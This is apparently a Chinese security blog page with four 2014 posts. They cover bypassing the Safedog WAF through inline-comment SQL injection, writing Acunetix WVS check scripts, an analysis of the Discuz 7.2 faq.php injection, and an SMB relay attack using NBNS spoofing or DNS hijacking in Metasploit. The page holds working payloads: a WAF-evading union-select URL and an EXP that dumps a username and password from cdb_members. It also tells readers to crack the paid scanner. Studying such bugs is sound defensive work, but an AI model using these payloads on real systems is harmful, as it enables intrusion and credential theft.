全方位绕过安全狗

作者:Secer 发布时间:July 3, 2014 分类:黑客技巧

一、前言

安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

二、测试环境

本次测试环境为

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过

我们先写一个存在SQL注入漏洞的php:

<?

$uid = $_REQUEST['id'];

if(!$conn = @mysql_connect("localhost", "root", "123456"))

die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');

if([email protected]_select_db("supe",$conn))

die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");

$text = "select * from supe_members where uid=".$uid;

$rs = mysql_query ($text,$conn);

while($rom = mysql_fetch_array($rs))

{

    echo $rom["username"];

}

?>

我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

全方位绕过安全狗

当安装安全狗之后,注入语句会被拦截:

全方位绕过安全狗

经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

用下面语句成功绕过SQL注入过滤:

http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

全方位绕过安全狗

有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

四、文件上传绕过

安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。

阅读剩余部分...

编写自己的Acunetix WVS漏洞脚本详细教程

作者:Secer 发布时间:July 3, 2014 分类:黑客技巧,代码学习,原创文章

AWVS提供了自定义的脚本编程接口,可是网上的资料很少,只有官方的几篇介绍和参考手册,最近研究了一下怎么编写AWVS的漏洞脚本来写一篇简单性的文章,大家有兴趣的可以交流 加入 Ha.Cker.In QQ群讨论

本文以8.0为例,首先呢安装好Acunetix Web Vulnerability Scanner 8(该破解的破解,该付费的付费),然后我们需要WVS公开的小小的SDK,下载地址:http://www.acunetix.com/download/tools/WVSSDK.zip ,下载好了后解压bin目录下的WVSS.exe到WVS安装目录下面,此即为WVS脚本编写工具。另外sdk里还有3个简单的脚本小例子和WVS_SDK_Quick_Introduction.pdf,耐心的可以看看。

下面的截图就是WVS码脚本工具了

编写自己的Acunetix WVS漏洞脚本详细教程

打开WVS数据目录,通常是在C:\Documents and Settings\All Users\Application Data\Acunetix WVS 8\Data\Scripts下,可以看到有10个文件夹,Network、PerFile、PerScheme、PostScan、PerFolder、PerServer、PostCrawl、WebApps、XML。我们先来认识一下:

编写自己的Acunetix WVS漏洞脚本详细教程

Network:此目录下的脚本文件是当扫描器完成了端口扫描模块后执行,这些脚本可以检测TCP端口的开放情况,比如检测FTP的21端口是否开放、是否允许匿名登录;

PerFile:此目录下的脚本是当扫描器爬虫爬到文件后执行,比如你可以检查当前测试文件是否存在备份文件,当前测试文件的内容等;

PerFolder:此目录下的脚本是当扫描器爬虫爬行到目录后执行,比如你可以检测当前测试目录是否存在列目录漏洞等;

PerScheme:此目录下的脚本会对每个URL的 GET、POST结构的参数进行检测,AWVS定义了的参数包括HTTP头、Cookies、GET/POST参数、文件上传(multipart/form-data)……比如你可以检测XSS、SQL注入和其他的应用程序测试;

PerServer:此目录下的脚本只在扫描开始是执行一次,比如你可以检测Web服务器中间件类型;

PostScan:此目录下的脚本只在扫描结束后执行一次,比如你可以检测存储型XSS、存储型SQL注入、存储型文件包含、存储型目录遍历、存储型代码执行、存储型文件篡改、存储型php代码执行等;

XML:漏洞的详细描述文档都在这里。

今天演示的漏洞是 Discuz 7.2的faq.php SQL注入,关于漏洞:https://ha.cker.in/1087.seo

我们就用POC来写漏洞的脚本吧!

检测原理:

根据公开的POC构造出特殊请求,若存在 SQL注入 则构造的SQL语句将会执行成功并在返回到响应内容,构造POC如下:

faq.php?action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%200x4861636B656442795365636572),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23

利用截图,存在漏洞会返回“HackedBySecer”字样:

编写自己的Acunetix WVS漏洞脚本详细教程

 

我们需要用WVS的脚本请求此URL并处理返回的内容,以此判断是否存在漏洞。

打开AWVS,Tools -> Vulnerability Editor,右键VulnXMLs节点,选择‘Add Vulnerability’

编写自己的Acunetix WVS漏洞脚本详细教程

新建一个漏洞,VulnXML FILENAME为Discuz7.2FaqSqlinjection,点Add按钮(新建的VulnXML会被保存到XML文件夹下哦)

编写自己的Acunetix WVS漏洞脚本详细教程

接下来登记下该漏洞的相关信息

编写自己的Acunetix WVS漏洞脚本详细教程

编写自己的Acunetix WVS漏洞脚本详细教程

然后进入wvss写脚本,保存为Discuz7.2FaqSqlinjection.script放入PerServer文件夹吧。

测试脚本:

使用AWVS的网站爬虫爬行网站并保存结果,

编写自己的Acunetix WVS漏洞脚本详细教程

这里选择根目录

编写自己的Acunetix WVS漏洞脚本详细教程

点击小三角按钮测试

编写自己的Acunetix WVS漏洞脚本详细教程

编写自己的Acunetix WVS漏洞脚本详细教程

完整的代码如下

编写自己的Acunetix WVS漏洞脚本详细教程

测试成功了,我到WVS里扫描去测试扫描看看~

我们新建的漏洞脚本在这里,Scanning Profiles –》 PerFolder目录下,新建一个扫描模板勾选要测试的脚本并保存,这里保存为“test_HA.CKER.IN”,然后用这个模板扫描目标站测试吧

编写自己的Acunetix WVS漏洞脚本详细教程

选择模板并开始扫描

编写自己的Acunetix WVS漏洞脚本详细教程

扫描完成后,结果如图

编写自己的Acunetix WVS漏洞脚本详细教程

漏洞脚本重复检测了很多次,下次更新修复下这个问题。

本人不才,这次对AWVS自定义脚本编写简单的介绍就到这了,只是做个示例展示给大家,这些API不是很详细我也不是很会写,更多的API等你去挖掘吧!

参考:

http://www.acunetix.com/vulnerability-scanner/scriptingreference/index.html

http://www.acunetix.com/blog/docs/creating-custom-checks-acunetix-web-vulnerability-scanner/

discuz7.2 faq.php 最新注入漏洞分析

作者:Secer 发布时间:July 3, 2014 分类:Web安全

discuz7.2 faq.php最新注入漏洞分析

之前乌云上被提交的漏洞,今天突然被人发出来了,然后就各种中枪。奈何各种考试马上就来了,我也没工夫去写exp或脚本什么的,趁点休息时间把代码看看就好。实话说我很讨厌这种情况,一大堆人会的不会的拿着别人发的exp刷漏洞,刷分刷钱。不如静下心来分析一下漏洞产生的原因,也算是我吃不到葡萄在说葡萄酸吧,笑。

因为有同学给出POC了,POC如下:

    http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema
.tables group by x)a)%23

clip_image001[1]

那么我把discuz7.2下载好,看到faq.php,找到action=grouppermission的代码(148行开始):

} elseif($action == 'grouppermission') {

...

...

ksort($gids);

$groupids = array();

foreach($gids as $row) {

$groupids[] = $row[0];

}

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

看到,图中报错的注入语句就是上面这句话。所以特别看看这句话前面的代码,也就是我列出来的。

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

    discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数:

function implodeids($array) {

if(!empty($array)) {

return "'".implode("','", is_array($array) ? $array : array($array))."'";

} else {

return '';

}

}

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:

    '1','\','3','4'

有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错:

clip_image003

http://www.leavesongs.com/discuz72-sql-injection.html

EXP:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

再谈SMB中继攻击

作者:Secer 发布时间:July 3, 2014 分类:黑客技巧

首先,介绍一下SMB中继攻击的运作原理

clip_image001

假设左边的主机为A,右边的主机为B

A试图访问B的共享服务

第一步 A对B说:骚年,请让我登陆

第二步 B对A说:骚年,我给你一个challenge,请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限

第三步 A对B说:我加密好了,给你

情景一:

第四步 B对A说:嗯,对的,请进(认证结束)

情景二:

第四步 B对A说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆

第五步 A对B说:好嘛,我用你之前告诉我的身份试试,回到第一步,循环下去

现在,如果加入了一名第三者C到两者之间,C企图查看B的隐私,C会怎么做?

clip_image002

上图就是C的做法

第一步 A对C说:骚年,请让我登陆

第二步 C对B说:骚年,请让我登陆

第三步 B对C说:骚年,我给你一个challenge,请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限

第四步 C对A说:骚年,我给你一个challenge(这是B发出的challenge),请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限

第五步 A对C说:我加密好了,给你

第六步 C对B说:我加密好了,给你

情景一:

第七步 B对C说:嗯,对的,请进(认证结束,C替代A获取了权限)

第八步 C对A说:骚年,不对,你的身份不能登陆(A的认证结束)

情景二:

第七步 B对C说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆

第八步 C对B说:好嘛,我用你之前告诉我的身份试试

第九步 C对A说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆

第十步 A对C说:好嘛,我用你之前告诉我的身份试试,回到第一步,循环下去

OK,你可以看出,A和B都被C欺骗了,这明显是一场中间人攻击

这里面还有一处不合理的地方,不知道你发现没有,A想和B对话,怎么会和C吹起牛来了呢?

肯定是A误以为C就是B,C是怎么做到的呢?

下面就来探究一下C的骗人手法,如果你是C你会怎么做呢?

1. NBNS欺骗,前提

a) A B C必须都处在同一个局域网下面

b) A寻找B是用的B的计算机名而不是B的ip

2. DNS劫持,前提

a) A寻找B是用的B的域名而不是B的ip

下面就让我们来重演一下这次攻击!

方式1:NBNS欺骗 + SMB中继

出品人:

A winxp 192.168.30.129

B win2k3 192.168.30.130 计算机名:smbserver

C kali 192.168.30.145

Kali msf下使用smb_replay模块,设置SMBHOST为B(192.168.30.130)

Kali msf下使用nbns_response模块将B的计算机名(smbserver)解析到C的IP(192.168.30.145)

clip_image003

Winxp 访问smbserver的共享

clip_image004

OK,到Kali下看看结果

Cool,我们成功拿到了B的Meterpreter shell

原理:NBNS是广播的,所以C只需要赶在B之前告诉A:“C的计算机名是smbserver”就行了

方式2:DNS劫持+SMB中继

出品人:

A winxp 192.168.30.129

B win2k3 192.168.30.130 域名:share.baidu.com

C kali 192.168.30.145

由于虚拟机有限,我将B模拟成一台内网中被黑掉的DNS服务器

Kali msf下使用smb_replay模块,设置SMBHOST为B(192.168.30.130)

将DNS服务器的 share.baidu.com 域名指向C(192.168.30.145)

clip_image005

Winxp 访问share.baidu.com的共享

clip_image006

OK,到Kali下看看结果

clip_image007

成功拿到B的shell

如果你很注意细节,你应该会有一个问题,如果我们将NBNS欺骗和DNS劫持同时启用,但指向不同的IP会有怎样的效果?

我将告诉你:只有DNS劫持会起作用

看下图就知道了

阅读剩余部分...